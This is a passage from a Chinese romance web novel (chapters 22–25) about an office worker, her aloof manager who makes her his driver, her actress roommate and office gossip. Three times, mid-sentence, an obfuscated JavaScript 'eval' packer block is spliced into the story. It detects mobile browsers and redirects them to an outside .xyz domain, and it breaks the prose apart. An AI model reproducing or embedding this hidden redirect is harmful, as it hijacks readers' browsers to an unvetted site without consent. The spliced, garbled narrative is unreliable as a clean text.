“嗯?”迟念精神高度紧张,身体被惯性支配。 “念念。”他重复。 “我在,陈经理,您有什么吩咐?” 陈昼压下嘴角,冷着脸指了指桌上的纸,“让你念一下检讨,又没听懂?” 天!迟念眼前发黑,想死的心都有了。 人,怎么可以,连续犯两次同样的错误!还是这么低级的错误! 她像一根被霜打过的茄子,直接摆烂了,“念检讨实在太羞耻了,陈经理,要不您扣我这个月全勤吧。” 陈昼挑了挑眉,有些意外,“为什么?” “因为我在背后说您坏话了。” “哦,其实说得蛮中肯的。” “是…哎?”迟念慢半拍反应过来,抬头时,男人已经背过身去了。 他摆手,“出去吧,方案尽快改,明天上午送到我这。” 22. 第二十二章 情绪受冲击之后,钱包必然遭殃,紧随其后的是胃。 迟念拎着一袋炸鸡和啤酒回家,在小区门口遇见何伶,两个人在一起一起久了,自然心有灵犀。 她买了麻辣小龙虾,外加四瓶啤酒。 迟念咋舌,“什么情况,你明天不拍?” 何伶推开单元门,趿拉着高跟鞋走路,似乎累极了,按完电梯后,眼皮都没有力气抬。 “白天休息,晚上六点拍大夜。” 迟念和她并排站,“早点喝,应该不会肿。” “爱肿不肿,我心烦,不喝酒的话今晚就死。” “…巧了,我也烦。” 买的东西太多,小桌摆不下,只能转到厨房的餐桌,何伶去冰箱里舀了点冰块,先给迟念的杯子倒满。 “在公司里受挫了吧?” 迟念托着脸,像被吸走了魂,恹恹地看杯子里上升的气泡,“还好,上班不就那样,你呢,最近没在节食?” 何伶节食,不止如此,还一天十六小时高强度拍摄,迟念本以为她很晚回来,才买的这些,打算一人在家饮酒醉。 “节啊,就是心态突然崩了。” “被导演骂了?”迟念递给她一个鸡腿。 何伶蹲在椅子上,因为极瘦,身体像翻盖手机似的叠在一起。她接过鸡腿,仔细把外面一层油炸的皮撕掉,放在迟念的碗里。 她心烦的事,和工作无关。 还有点不好说不口。 “嗯…没有,是和组里的一个摄像…” 迟念皱眉,感觉很怪异。她平时伶牙俐齿,说话像机关枪似的哒哒哒,还是第一次这么吞吞吐吐。 “打架了?” “拜托我可是女明星…” 迟念喝了一口酒,冰凉刺牙,她嘶了一声,捂住半边脸,“你们谈恋爱了?” 何伶无语地笑了一声,“怎么可能,美死他了。” 和从小一起长大的老友没有什么不能说的,只是需要时间组织一下语言,再隐去一些不重要的细节。 十分钟后,迟念眼睛瞪溜圆。 “比你大,非要认你当姐,还给一万块钱?!” 何伶点头。 “竟然有这种好事!”迟念突然觉得自己的工作辛苦难搞挣得还少,拍着胸脯,积极的毛遂自荐,“他还需要姐吗,我也想干。” 何伶翻了个白眼,“你还当好事呢。” “你不会嫌少吧?也是,好久没问过你了,不会现在片酬疯涨了吧?” “呵,片酬涨了还用跟你在这挤么,早就大G豪宅欧洲游了。” “也是…”迟念收起幻想,不和她开玩笑了,“那你们怎么了?” 何伶托着下巴,在迟念灼灼耐心的目光下,心一横,实话实说:“这个摄像长得很帅,但是癖好很怪,竟然喜欢挨打。” 迟念:“……” “他不会还需要工具吧?” 何伶一脸这都被你说中了的表情。 两人同时灌了一口酒。 话都说到这份上了,外加酒精的加持,何伶彻底放开了。 “我今天生气,用皮带抽他,但好像给他抽爽了。” 迟念想到某些不可描述的场面,头发丝都竖起来了,“你不会在公共场所干的这件事吧?” “就在片场。” “我去!” 迟念被这件事冲击到上头,仰头喝光杯子里的酒,紧接着倒满,顺便把何伶那杯没喝完的也加满。 这种事不需要深思熟虑,变态当然是躲得越远越好。 “还是别干了,万一以后火了被扒出来,这就是黑点,贴在你身上一辈子。” 何伶捧着酒杯,这事吧,窝在心里乱想好像挺严重的,说出来之后,又觉得自己是多想,毕竟花尧这个人… 帅气,多金,性格像一只萨摩耶犬。对别人不清楚,对她是嘘寒问暖,有求必应,何伶从小到大就没遇到过对她这么好的男人。 想到这,又犹豫了。 绝对不是舍不得那一万块! “呃…我考虑考虑。” 迟念看她这样,忍不住说出事情的严重性,“万一他真有奇怪的癖好呢,现在是你打他,时间久了变成他打你怎么办?” “不会的。”迟念很肯定。 “…伶子你不会爱上了吧,这也太疯了!” 何伶一听,有些上火。 手机振动,她的视线被亮起的屏幕吸引,看到新消息通知栏,回击:“其实你也挺疯的,才认识几天的男人,就给备注‘男朋友’了。” 迟念本来稳稳站在道德的高地,结果没装几分钟,就和她落到同一水平线。 尴尬地咳了一声,拿起手机,心虚解释:“早晚的事,提前备注上而已。” “他很优秀?”何伶一改受训的状态,又变回从前那个口齿伶俐的毒舌女,“总要等到表白之后吧,你怎么那么自信他也喜欢你啊。” 迟念经不得激,索性把聊天页面送到她眼前。 【许Vivian】:哈喽迟念,此刻牛马在加班,你早点睡,不许熬夜[拥抱]。 认真看完,何伶的脸没有一丝波动。 “怎么了?” 迟念指了指屏幕,“催我快点睡觉算不算暧昧?”她手指后移,“还有后面的表情,看没看到,是拥抱哎。” “…这只是单纯表示友好而已,大概因为你已经很久都没有谈过正常的恋爱了。” 迟念左耳听右耳冒,精心挑选出一个可爱的“晚安”表情包发送过去,然后抬头,“你谈过正常的恋爱?” 何伶一口酒没喝下去,差点呛出来。 两人从小就认识,掌握对方的全部秘密,所以能在这种针锋相对的时刻对轰火药,结果当然是两败俱伤。 何伶接过迟念递来的纸巾,捂着嘴咳嗽了几声,嗓子没有痒感之后,狠狠瞪了她一眼,“我演过还不行吗?” “屁,你拍的我都看过,没有一部正常的。” “……好吧。” 在这种对峙中,何伶首次败阵,她把瓶底的酒倒进迟念的杯子里,微微一笑,“那就谁也别说谁,吃小龙虾吗,我给你剥。” 迟念哼哼两声,又想起那个变态,顿时心里一紧。 “伶子,你打他可以,他打你一定要严词拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751782|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝,怪不得都说娱乐圈乱,里面还真什么样的人都有。” 何伶应了一声,“知道了。你呢,宣布和小陈总分手之后,同事们什么反应?” 迟念想到白天的糟心事,叹了一口长气,“回到起点,继续以前的跑腿。” * 夜里下了雨,到早上外面还在淅淅沥沥。 迟念撑着伞出门,还没走到小区门口,绒布的短靴就溅上泥水,拼命挤上的公交,只能坐三站,因为要帮娇娇带早餐。 冒着热气的档口外排起长队,迟念踮起脚,数了数前面的人头。 哈哈!足足有十八个人。 本来下雨就够烦的了,还要做这种心不甘情不愿的事,迟念慢吞吞往前挪,在心里痛骂娇娇欺人太甚。 不管路上多么阴暗,下了电梯的她笑容马上变明媚。 走到娇娇工位,把早餐递过去,“早上好啊,趁热吃。” 娇娇窝在椅子上,正对着镜子描眉画眼,听到声音,只有眼珠动了动,瞥了一眼袋子里的豆浆杯,问:“放糖了吗?” 迟念想了想,“放了。” “啧。”娇娇拿着眼线笔描眼尾,上挑的那种怎么都画不出来,心里正烦,“我在控糖,不能喝甜的。” 迟念愣了一下,“你昨天也没说啊。” “以前你帮我带的时候一直都买无糖的,这才多久啊就忘了,真是的。”娇娇用力擦掉过于生硬的眼线,看了一眼袋子里的早餐,忽然没有胃口。 “算了。”她把袋子推到桌角,“以后记住就行。” 迟念站在旁边,积攒了一路的坏心情在听到最后这句时决堤,她是来这上班的,不是给大小姐当保姆的。 凭什么啊? 深呼吸,吐气,火还是没压下去。 向前探身,抓起早餐袋子,干脆利落地扔进垃圾桶,“我以后不会帮你带了,想吃的话自己买。” 娇娇没有预料到她会这样,惊讶之后是冷笑。 “好啊,你可别后悔!” 正面硬钢的结果是,一上午差点跑断腿。 也不知道娇娇和同事们说了什么,大家都毫不客气地使唤她,刚拎了十几杯咖啡上来,又被喊去打印材料。 她站在打印机旁边,锤着酸痛的腰缓气。 旁边是茶水间,叶珍珠从里面出来,看到迟念,犹豫了几秒,最终决定走过来安慰。 她小声说,“小迟,消息真的不是我传出去的。” 迟念拿起打印好的一摞,无所谓地对她笑了一下,“没事儿。” “你和小陈总是和平分手吗?” “呃…”迟念顿了顿,“不是。” 叶珍珠眼神一黯,替她发愁,“怪不得他们敢这样使唤你,要是小陈总能出面帮你一下就好了。” 迟念吓得一凛,忙摆手,“别!不用,现在这样挺好。” “哪好了,韩主管听说你们分了之后,马上把你之前提交的策划案全都pass了。” 迟念愣住,感慨人竟然可以见风使舵到这种程度。 好在有心理准备,她故作轻快地耸了耸肩,“优胜劣汰嘛,没有办法。” 23. 第二十三章 杂事忙完,屁股刚挨到椅子上,娇娇就隔着两个工位喊她,“你把E平台上粉丝超百万的博主统计一下,然后发给我。” 迟念假装没听到,拿出蓝牙耳机戴上。 娇娇面露不满,“迟念,我说话你没听到?” “……” 耳机里充斥着暴躁的摇滚乐,迟念仿佛与世隔绝,手指随着鼓点的节奏敲击桌面,一首还未完,耳朵忽然一空。 她拍桌而起,“这是你的活,我才不…!” 预想中娇娇的脸并没有出现,眼前站着一身西装,面无表情的陈昼。他拿着耳机,此刻正放到歌曲的高潮,发出沙沙的声响。 因为惊吓,迟念的脸从红转白,手悄悄背后按住手机,把音乐关闭。 她低头认错,“对不起。” 陈昼把蓝牙耳机放进她的外套兜里,淡淡地说:“来我办公室。” 待男人转身离开,娇娇的手也从键盘上移走,幸灾乐祸地看热闹。过去的一个月,迟念仗着男朋友耀武扬威,自己只能跟在后面伏低做小,要多憋屈有多憋屈。 恋人分手后就是仇敌,看这情形,迟念很快就会被开除,必须得在开除前好好使唤使唤她,心里才舒服。 迟念硬着头皮敲门。 “进。” 她走进去,把门关好。 自从陈昼来了之后,迟念不知道说了多少个“对不起”,也是倒霉,每次做错事他都在场,说的次数多了,竟然有些脱敏。 她再次,“对不起。” 陈昼坐在椅子上,室内温热,衬衫扣了解开两颗,露出一小块绷紧的皮肤。 他说:“具体哪里对不起。” “上班时间听音乐。” 陈昼看着她的发顶,轻声笑了一下,“这有什么可道歉的,只要不影响工作,音乐还是可以听的。” 迟念惊讶地抬起头,在触到他的目光时,慌乱躲闪,“噢,好,知道了陈经理。” 女孩站在办公桌旁,低头,抿唇,绞手,等他发出赦令,一定会马不停蹄地逃离这里。 他偏不想她如愿。 叠起腿,微微探身,“我记得昨天和你说过,方案要重做吧?” 迟念精神一凛。 靠! 昨晚光顾着喝酒聊天了,完全忘记这件事。 她不得不再次,“对不起。” “没做?” “呃…韩主管今天重新调整分工,我不负责这一块了。” 迟念说的是实话,宣布分手以后,自己在部门里马上变成边缘人,这种有晋升机会的美差当然轮不到她。 只是,没想到陈经理会执着这件事。 “那你负责什么?” 迟念内心OS:买咖啡,取快递,打印… 现实是说:“负责一些后勤工作。” “后勤?”陈昼的手搭在椅子扶手,一下一下地敲,“后勤的事为什么需要你这种业务骨干来做?” 骨干… 迟念以为他在讽刺,小心翼翼地看了一眼他的表情,发现他很认真。 想来也是,自己前一阵因为“恋情”被同事们捧到云端了,珍珠姐和韩主管在他面前也一定没少夸。 她不禁心虚,绞尽脑汁拍马屁,“这是因为您调过来之后,大家工作效率高,效果好,活动顺利拟定并开始预热了,我提前完成分内的任务,现在不怎么忙…” 陈昼一眼看出她在撒谎。 但是并不想拆穿。 自己也是从基层做起的,职场的人际关系很复杂,加上刚才她大声喊的那一句,人人夸赞应该只是表面,实际可能相反。 他摘下眼镜,捏了捏鼻梁,“正好,最近有应酬,你给当我司机吧。” 迟念愣住,完全没想到他会这么安排。 感恩!!! 当司机比当跑腿好,服务一个人比服务一帮人轻松多了。走出办公室,她像一支被点燃的烟花,头发丝都透着开心。 * 六点,打卡下班。 迟念背着包,乘电梯直达地下停车场,直走20米,看到一辆黑色奔驰停在边上,按了一下钥匙,车灯闪了闪。 哇! 好酷! 她坐在驾驶位,启动,掌心下的皮革渐渐温热,她感叹高级的同时,觉得比宾利宽敞,座椅也舒服,还是她喜欢的SUV车型。 把车开到电梯口,刚好陈昼从里面走出来。 提前下楼,让领导少走一段距离,也应该算在业务能力评测里。她快速下车,绕到副驾驶把车门打开。 陈昼上车。 她握着方向盘,假装自己是个老司机。 贵贵的车开起来就是顺手,她转着方向盘,车子丝滑地拐弯,顺着亮灯的指示牌,驶出停车场。 傍晚,太阳还没完全落下,金黄穿透车窗照进来,透着初春的生机,却不刺眼。 迟念摸了一下车标,开始拍马屁,“不愧是大奔,开着就是不一样。” 陈昼转头看她,突然想起自己之前对她的印象。 不如再试一次。 “喜欢车?” 迟念点头,“喜欢!” “这辆送你。” 迟念短暂失去辨别玩笑的能力,真的在思考这辆车如果是自己会怎么样,结果是… “谢谢陈经理,我不能要。” “为什么?”陈昼略带玩味地看着她。 迟念露出穷酸的笑容,“我加不起油。” 呵~ 这回答果然意料之外。 迟念听到他笑,急忙解释:“我说的是实话,这辆车太耗油了,给我的话,就算加得起油,也没有多余的钱租停车位,只能停在路边吃灰。” 见她一本正经,陈昼更想笑了。 他在很小的时候,就被迫学会圆滑,说话三分真七分假,时刻把涵养挂在脸上,与人交流时,更要滴水不漏。 这也是他厌倦的理由。 迟念和他完全相反,说错话,做错事,人情世故完全不懂,像扎根在无人区里的一簇野草,自由生长。 笑过之后,他静静地看着她,说出一句和平时性格完全不符的话。 “你想得美。” “……” 今晚没有应酬,因为迟念初次兼职司机,当是熟悉线路。 陈昼的公寓离公司不远,开车二十分钟左右的距离,导航结束,迟念微微探身,寻找停车场入口。 转了一圈,没找到,她小声问:“陈经理,车停在哪儿?” 陈昼小憩了几分钟,听到她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761514|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音,倏地睁开眼。 外面是熟悉的建筑,他解开安全带,指了指路边,“停在前面,车你开回家,明天早上七点半来接我。” 迟念紧急刹车。 未经大脑,脱口而出:“从这里到我家,要开四十分钟。” 陈昼开门的手顿住,不解地看着她。 迟念人麻了,荒废多年的算数系统重新运转,开车四十分钟,出发的时间必定会赶上早高峰,再加二十分钟,倒推一下就是… 六点起床!!! 凭空消失一个小时的睡眠,她的天塌了。 面色虽凄苦,好在理智已经归位。 “陈经理放心,我一定准时到!” 奔驰车尾消失在街角,陈昼心情极好。 回到家,西装外套搭在沙发角,本准备倒一杯红酒,在指尖即将触到酒柜时,忽然收回。 刚刚八点,长夜漫漫,他点开手机,拨通花尧的电话。 对面秒接。 “呦,谁啊,不会是陈昼吧,我怎么听说他回广安和孟思妍举行世纪婚礼了呢。” 无视好友刻薄的奚落,陈昼走到沙发边坐下,“再乱说和你绝交,今天心情好,请你喝酒,来不来?” 花尧拎着摄像机在旁边候场。 前方五米外,是反派被虐的狗血场面,他虽在通电话,视线却一直没有离开站在中间的红衣女人。 她情绪激动,眼泪欲落未落,明明是一副我见犹怜的模样,说的话却令人胆寒。 “陆霆枭,我要是死了,一定会变成厉鬼来索你的命…” 花尧看得入神,听筒的声音把他从虚浮的戏剧里拉回现实。 “问你话呢,来不来?” 来…不来… 花尧很快做出选择,“没时间,今晚大夜,得拍到凌晨两点。” 陈昼轻呵了一声,起身去开酒柜,红酒流入高脚杯,一阵清脆悦耳的声响。 他拿起,抿了一口,打趣道:“拍到凌晨,你这大少爷什么时候变得这么敬业了,不会在逗我吧?” “我没那么闲。” 导演喊了一声“卡”,红衣女人支着胳膊站起来,因为雨戏的场景,衣服湿答答的贴在皮肤上,被风一吹,冷得嘴唇发抖。 花尧扔下一句:“我要忙了,酒改天再喝,拜~” 何伶没有助理,单枪匹马闯剧组,看起来是很酷,实际的辛苦只有她自己知道。 片场简陋,基础设施约等于无,不提看包拿水这种小事,就说换衣服的时候,连个守门的人都没有。 有的地方没有洗手间,在简易帐篷里脱到只剩内衣,会有人故意恶作剧,经历几次之后,对换衣服这件事有了心理阴影。 尤其是雨戏,衣服湿透不好换,时间拉长,能被不安全感淹死。 她站起身,抱着胳膊发抖,浑浑噩噩间,眼前黑影一晃,身体被带有余温的外套裹紧,长度刚好到她脚踝。 花尧的脸近在咫尺。 他不像平日的油腔滑调,一双上挑的桃花眼里溢满了担忧,脸色紧绷,却轻柔地替她把扣子系紧。 一声“姐”还没说出口,就被冰凉的手堵住嘴。 他不明所以,何伶抖着唇说:“不许叫我姐,你今天就维持这个样子,我给你钱。” 24. 第二十四章 闹钟响的时候,迟念还在做梦。 梦里是浪漫的四月天,樱花随风起舞,她走在落满粉色的草地上,含情脉脉地看着旁边的男人。 白衬衣,黑西裤,是许维安的打扮,却怎么都看不清脸。 她睁开眼,狠狠捶了一下吵死人的闹钟。 室内安静,旁边空空如也。 何伶一夜未归。 她拿起手机,果然看到何伶发的超长语音条,随手点开,顺便起床。 ——靠!我真的要骂脏话了,今晚都是虐我的戏,淋雨泡水挨打吐血浆,被折磨惨了,没力气回家,等会儿收工就近开个酒店住一夜,不用担心我,晚安~ 迟念打了个呵欠,看消息发出的时间。 凌晨两点。 她洗把脸,叼着个面包就出了门,奔驰停在小区门口。她快跑几步,囫囵把面包吃完,车子启动,直奔高级公寓。 四月中旬的林江,终于有了一丝春天的迹象。 空气微凉,陈昼一身西装,手里拎着电脑包,站在昨天下车的地方,抬腕看了看时间,七点十五。 汽车鸣笛,黑色奔驰远远驶来,车窗落下,探出一张素净的脸。 女孩看到他,眼神一亮,手伸出来,元气满满地打招呼:“陈经理,早上好!” 他静静地看着她。 仿佛一抹鲜艳的色彩直扎进灰白的世界,她如此年轻,鲜活,距离越来越近,他惊恐地发觉,心跳在加速。 迟念把车停下,满脑子都是“幸好”! 幸好没有拖拖拉拉,提前出发躲过早高峰。 也幸好没有像傻瓜一样信了他的话,上司虽说七点半来接,作为一个有眼色的员工,必须提前到。 待男人上车,她小心地问:“陈经理,您在这等多久了?” 陈昼系上安全带,过了几秒才说:“刚下楼。” “那就好。”迟念松了一口气。 车子启动,跟随前方车尾涌入密密麻麻的车流中。 他说:“怎么提前到了?” 迟念面色自然,“我习惯早起。” “吃早饭了吗。” “吃了。” “吃的什么。” “面包。” 陈昼转头看她,“只吃了面包吗?” 迟念“嗯”了一声,转头一想还有点生气,那不然呢…早上这么赶,有时间吃面包已经很不错了。 她踩了一脚油门,转到另一侧车道。 导航显示五百米拥堵,车子慢吞吞移动,陈昼拿出手机,习惯性点开早餐页面,问她:“豆浆还是咖啡?” 迟念脱口而出:“豆浆。” 她慢半拍反应过来,陈昼已经把手机关闭,淡淡地说:“时间还早,前面停车,一起吃个早餐。” 迟念心一沉,想到单独和他一起吃饭的场景,嗓子眼突然有点堵,她吞吞吐吐:“陈经理…我…不饿。” 陈昼转头,见女孩用力紧握方向盘,从头到脚都在抗拒,就这么不想和他吃饭? “吃早餐和扣奖金,二选一。” 迟念干笑一声,这明明是个单选题。 车子停在连锁粥铺门口,迟念对这里很熟,因为是欢姐喜欢的口味,以前每天都要绕远过来打包饼和粥。 正值用餐高峰,店里的桌子几乎坐满,服务员是个大姐,见到来人,嗓门洪亮:“里面请,你们几位?” 陈昼打量闹哄哄的室内,忍不住皱了皱眉,“两位。” 他们被安排在靠窗的位置,刚收拾完,桌面还残留一点水渍,迟念看到,赶紧抽出两张纸巾把桌子抹干。 然后主动掏出手机,“陈经理,您想吃什么?我去点。” 店里的菜单是灯牌模式,占据一整面墙,陈昼扫了一眼,“我请你。”说完,按着她的肩膀坐下,“你除了一杯豆浆之外,还想吃什么。” 一分钟后,冒着热气的牛肉小笼包摆在面前。 迟念如坐针毡。 突然觉得,以前他冷脸的时候,才是一个正常的人,出差回来后突然转变态度,现在竟然要请她吃饭。 习惯了他严厉,冷不丁变成这样,她很慌。 忍不住胡思乱想。 难道…知道她撒谎的事了? 不应该啊,陈经理在公司里像个活阎王,平时生人勿近,这种私事没人敢在他面前提。 事情往深了想头会痛,她抿了一口豆浆,可能只是他没有吃早饭,也不好放她自己在车里等,所以叫她一起吃。 越想越是这么回事。 心里相信这个解释,胃口也打开了。 粥铺外,出租车停在路边,娇娇边给司机钱边对着电话吐槽:“我超级不顺路,你不吃这家的粥和饼是会死啊?” 对面很慷慨,“打车钱我给你报,再请一杯咖啡。” 娇娇用力关上车门,哼了一声,“这还差不多…” 挂了电话,准备进店,余光却看到一张熟悉的脸。她眼皮一跳,条件反射地躲到公交站牌后面。 探出头,仔细看,果然是小陈总。 在M记遇见也就算了,怎么绕路到这边也能碰见啊,娇娇暗骂一声孽缘,点开手机给欢姐发消息。 【阿娇】:靠靠靠!倒霉,小陈总在店里吃早餐,我不敢进。 【谢欢】:他又不是豺狼虎豹,怕什么。 【阿娇】:上次被他撞见,全勤没了,我有心理阴影。 【谢欢】:……你也太没出息了。 【阿娇】:早餐不给你带了,我现在打车去公司。 对面秒弹视频通话。 屏幕被欢姐的脸占满,刚接通她就不间歇输出:“现在又没到上班时间,你怕他干吗,实在不行戴上口罩,进去速战速决买完,不到一分钟的事儿。” 娇娇皱眉,“你就非得吃吗?” “对,馋的想上吊,你都到门口了,实在不行等他吃完你再进去,十分八分的事儿,你也不会迟到。” 娇娇越听越闹心,“好了好了,等着吧,我进去买。” 挂断视频,她从包里拿出口罩和丝巾,全副武装之后,走进店里。 服务员大姐刚要大声招呼,她吓得摆手,语速极快地说:“一份瘦肉粥,两个牛肉饼,我打包。” 她盯着墙上菜单,不敢回头看身后。 粥和饼是现成的,装上就能走。付完钱,她转身离开,却在门的倒影里看到另一张熟悉的侧脸。 竟然是…迟念? 刚才在外面只看到小陈总,他坐在窗子边,很明显,而对面是视觉死角,什么都看不到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772940|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 怎么回事…不是分手了吗? 分手了应该变成仇敌,互相当对方死了,然后老死不相往来,怎么还能一起吃早餐? 强烈的好奇心压住恐惧,她退回店里,找了个隐蔽的座位,招呼服务员过来,“两个素包子,在这吃。” 她拉了拉口罩,拿出手机,拍照发给欢姐。 【阿娇】:你说他俩现在怎么回事啊? 【谢欢】:你怎么还坐下了,不怕了? 【阿娇】:太好奇了,想近距离探查一下。 【谢欢】:赶紧出来,时间久了粥就凉了饼也不好吃了,你能不能有点职业操守? 【阿娇】:就不,你以为我是迟念那么好差遣啊,老实等着。 娇娇咬了一口包子,假装在玩手机,实际点开相机连拍十几张。 迟念背对这边,只能看到后脑勺,小陈总的脸倒是照得清清楚楚。 同时,想到另一件事,就是她本人,在知道两人分手之后,使唤迟念了,还挑挑拣拣的说话不好听… 完蛋了。 人家说不定只是闹别扭,冷战两天和好了,那她的所作所为算什么?欺负新人?职场霸凌?想到可能发生的后果,娇娇脸刷地一下白了。 距离上次通报批评刚过去一个月,再来一次的话,工作都不一定能保住了,天!救命! 包子没吃完,娇娇离开的背影有些狼狈,陈昼目光紧随,看到她坐上出租车之后,才收回视线。 刚好和迟念对上。 她马上放下筷子,“谢谢陈经理,我吃饱了。” 竹屉里还剩两个小笼包,陈昼问:“确定吃饱了?” 迟念仔细感受了一下胃容量,尴尬地拿起筷子,“…其实还能再吃两个。” 陈昼弯起唇角,莫名享受和她在一起的状态,这样悠闲地坐在街边的小店里,随心所欲地说话。 “那你为什么要说吃饱了。” “…为了场面好看吧。” “你觉得剩两个在屉里好看?” 迟念不懂今天的陈经理怎么话这么密。 她把杯子里的豆浆喝完,尴尬地说:“不好看,因为浪费食物可耻。” …… 八点,准时打卡。 迟念早餐吃太多,而且全是碳水,把车停好之后,精神一松,眼皮越来越重,接连打了好几个呵欠。 还没到工位,娇娇就突然闪现在她面前。 迟念现在一看到她就烦。 没好气地说:“干吗?” 娇娇忽然抓住她的手,挤出笑容,语气是和昨天截然相反的卑微,“小迟,我和你道歉,昨天你辛苦帮我带早餐,我不该那样说话。” 迟念见她突然变脸,起了一身鸡皮疙瘩。 她挣脱娇娇的手,径直走去工位,“不用道歉,反正以后我不会帮你带。” 娇娇小碎步跟在后面,急忙说:“那是那是,当然不用你帮我带!” 说完,从衣兜里掏出两张电影票,双手奉上,“我昨天吃错药,你别跟我一般见识,请你们看电影,就当赔罪。” 迟念躲开身子,“我不要,拿走。” “哎呀!”娇娇急了,直接把票塞进她兜里,“这可是点映的电影,票很难买的,拜托你可千万别记仇。” 25. 第二十五章 迟念做好被使唤得团团转的准备,结果在工位上坐了两个小时,无事发生。 韩主管不在,组会临时取消。 部门里很静,除了偶尔几声键盘音,再也听不到其他。她不解,大家平时拿咖啡当水喝,现在马上十点了,怎么… 磨砂玻璃门突然开了,欢姐拎着十几杯咖啡走进来,高高举起,大声说:“辛苦啦同志们,我请客!” 气氛终于活络,从各个格子里传出道谢声,欢姐一一送过去。 迟念想到自己的处境,故作透明地缩在工位当鸵鸟。 脚步声越来越近,肩膀被轻轻拍了一下,她抬头,见欢姐笑容温和,把一个精装纸袋放在桌角。 她压低声音:“小迟,我知道你不喜欢喝咖啡,特地买的奶茶,还另加奶盖了哦,店员说这款最近特别火,快尝尝。” 说完,迅速把吸管插进去,送到她嘴边。 迟念:“……” 预想的水深火热并没有到来,欢姐现在比知道她是小陈总女朋友时还谄媚,搞得她心里突然没底。 头一歪,躲过投喂,不自然地说:“欢姐,我…我…”她本能想拒绝,但欢姐看人下菜碟不像娇娇那么明显,这段时间相处得还行。 只好欣然接受,“谢谢欢姐,破费了。” 欢姐笑着点头,又凑过来,对她耳语:“你们年轻气盛,晚上往被窝里一钻,天亮什么事都没了。” 好端端的,怎么突然开黄腔… 迟念搓了搓汗毛直竖的手臂,暗想这话未免也太糙了,她还以为自己坐在村口大树下呢。 欢姐说完之后还捏了她一把,然后才扭着圆滚的腰身离开。迟念打了个冷战,好诡异,今天大家怎么都不正常。 趁陈经理不在办公室,她悄悄去找珍珠姐。 叶珍珠坐在工位上,桌角摆着几个打开的文件夹,她听到脚步声,抬起头,看到迟念,马上露出笑容。 “小迟啊,找我?” 迟念把大杯奶茶递过去,“听说是热销款,尝尝。” 叶珍珠看到奶茶,笑容倏地消失,冷声说,“这是谢欢买的吧,我不喝。” “…怎么突然这么见外啊?”迟念把奶茶送在她手边,“我没喝,吸管是干净的。” 叶珍珠摇了摇头,“我不是冲你,就是单纯觉得谢欢这人…”话说到一半,另一半被她咽回去了。 其实应该该怪自己。 迟念和她说的秘密,嘴上答应了会保密,结果当天中午在食堂遇到谢欢,边吃边聊,鬼使神差地把他们已经分手的事给说了出来。 意识到说错话,她再三叮嘱谢欢不要说出去,结果…还没下班呢,分手的消息就在部门里传得沸沸扬扬。 心里生气,语气不好地埋怨了谢欢几句,这不,人家下楼买咖啡,故意没带她那份,恶心谁呢。 咖啡喝不喝无所谓,她主要是自责,去茶水间的时候遇到迟念,本想坦白,却鬼使神差地撒谎了。 当时没说,现在就更不能说了。 她压下复杂的心情,喝了一口奶茶,笑着说:“嗯~好喝。” 迟念松了一口气,“好喝就行,你全喝了吧。”说完,小心试探,“珍珠姐,今天发生什么事了啊?” “什么?” “就是…感觉大家突然变得很善良。” 这话说的,叶珍珠绷不住,“本来也没有坏人啊。” “呃,那倒是…” 说到这,叶珍珠却突然想到一件事,“你这么一说,确实,今天早上小陈总竟然是笑着进来的,还和我打招呼了呢。” 她双手合十,眼睛冒着星星看向经理室的门,说话也未经思考,“为什么你们分手了他这么开心啊。” 迟念:“因为是孽缘。” 叶珍珠猛地反应过来,万分歉疚地解释:“小迟,你别难过,我不是那个意思,千万别往心里去。” “我不难过啊,只是…”她想——只是奇怪,昨天还都对她很差呢,今天怎么突然变脸。 * 下班时间到。 一下午没见到陈经理,听说和销售部的人去考察市场了,眼看天色渐晚,她走到办公室门口,“珍珠姐,陈经理什么时候回来啊?” 叶珍珠看了眼行程表,“不清楚,下市场是小陈总临时决定的。” “哦…好吧。” 叶珍珠收拾自己的东西,见她在这磨磨蹭蹭,有些奇怪,“怎么还不走?” 迟念忙说:“马上。” 等部门走空了之后,迟念溜进办公室,拉开抽屉,果然有一盒精装名片,她抽出一张,悄悄离开。 电梯下到负一层,她站在车边打电话。响了三声,接通,对方似乎处在嘈杂的环境里,听着闹哄哄的。 她堵住另一只耳朵,说:“陈经理,您在哪?” 嘈杂的声音渐渐弱小,似乎走到僻静的地方,男人的语气有些意外,“迟念?” “是我,陈经理,需要我开车去接您吗?” 对面沉默两秒,“不用,我会很晚,你早点回家,明早见。” 迟念应了一声,对面率先挂断。幸福来得太突然,她转身看停在车位的黑色奔驰,露出笑容,整个人熊扑到引擎盖上。 “小奔奔,姐姐带你回家~” 何伶今天戏少,不到五点就收工了。 